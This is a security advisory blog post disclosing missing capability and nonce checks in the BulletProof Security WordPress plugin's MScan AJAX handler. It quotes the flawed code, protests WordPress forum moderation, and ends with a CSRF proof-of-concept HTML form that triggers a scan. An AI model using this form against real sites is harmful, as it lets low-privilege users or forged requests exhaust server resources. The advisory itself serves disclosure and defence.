Privilege Escalation Vulnerability in BulletProof Security
After seeing possible hacker probing for the WordPress plugin BulletProof Security last week, we checked over it for any easy to spot serious vulnerabilities that a hacker might be interested in exploiting. We didn’t find any of those, but we did run across several places where the plugin is not properly secured. Among those, it permits low-level WordPress users to access to some of its MScan malware scanner functionality. That could be abused to cause the website to use a lot of server resources.
Like the rest of the plugin’s admin pages, the admin page for MScan is restricted to users with the manage_options capability, so normally only Administrators:
433 | add_submenu_page('bulletproof-security/admin/core/core.php', __('MScan Malware Scanner', 'bulletproof-security'), __('MScan', 'bulletproof-security'), 'manage_options', 'bulletproof-security/admin/mscan/mscan.php' ); |
The plugin has two AJAX accessible functions, which are both connected with MScan. Access to those are restricted to those logged in to WordPress. Here is the AJAX registration for running a scan:
60 | add_action('wp_ajax_bps_mscan_scan_processing', 'bpsPro_mscan_scan_processing'); |
That will call the file bpsPro_mscan_scan_processing() in the file /includes/mscan-ajax-functions.php. That function doesn’t do any security checks before running the functionality:
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | function bpsPro_mscan_scan_processing() { if ( isset( $_POST['post_var'] ) && $_POST['post_var'] == 'bps_mscan' ) { $MScanStop = WP_CONTENT_DIR . '/bps-backup/master-backups/mscan-stop.txt'; file_put_contents($MScanStop, "run"); $MScan_options = get_option('bulletproof_security_options_MScan'); $mstime = ! isset($MScan_options['mscan_max_time_limit']) ? '300' : $MScan_options['mscan_max_time_limit']; ini_set('max_execution_time', $mstime); require_once WP_PLUGIN_DIR . '/bulletproof-security/includes/mscan-wp-core-hash-maker.php'; require_once WP_PLUGIN_DIR . '/bulletproof-security/includes/mscan-plugin-hash-maker.php'; require_once WP_PLUGIN_DIR . '/bulletproof-security/includes/mscan-theme-hash-maker.php'; if ( bpsPro_mscan_calculate_scan_time($mstime) == true ) { if ( bpsPro_wp_zip_download($mstime) == true ) { if ( bpsPro_wp_zip_extractor() == true ) { if ( bpsPro_wp_hash_maker() == true ) { if ( bpsPro_plugin_zip_download($mstime) == true ) { if ( bpsPro_plugin_zip_extractor() == true ) { if ( bpsPro_plugin_hash_maker() == true ) { if ( bpsPro_theme_zip_download($mstime) == true ) { if ( bpsPro_theme_zip_extractor() == true ) { if ( bpsPro_theme_hash_maker() == true ) { bpsPro_mscan_file_scan($mstime); } } } } } } } } } } } wp_die(); } |
There isn’t a capabilities check, so anyone logged in to WordPress can access that, instead of just Administrators.
It also lacks a nonce check, so an attacker could cause someone logged in to WordPress to run the functionality without intending it, which is referred to as cross-site request forgery (CSRF).
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions of installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will cause a MScan Scan, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=bps_mscan_scan_processing" method="POST"> <input type="hidden" name="post_var" value="bps_mscan" /> <input type="submit" value="Submit" /> </form> </body>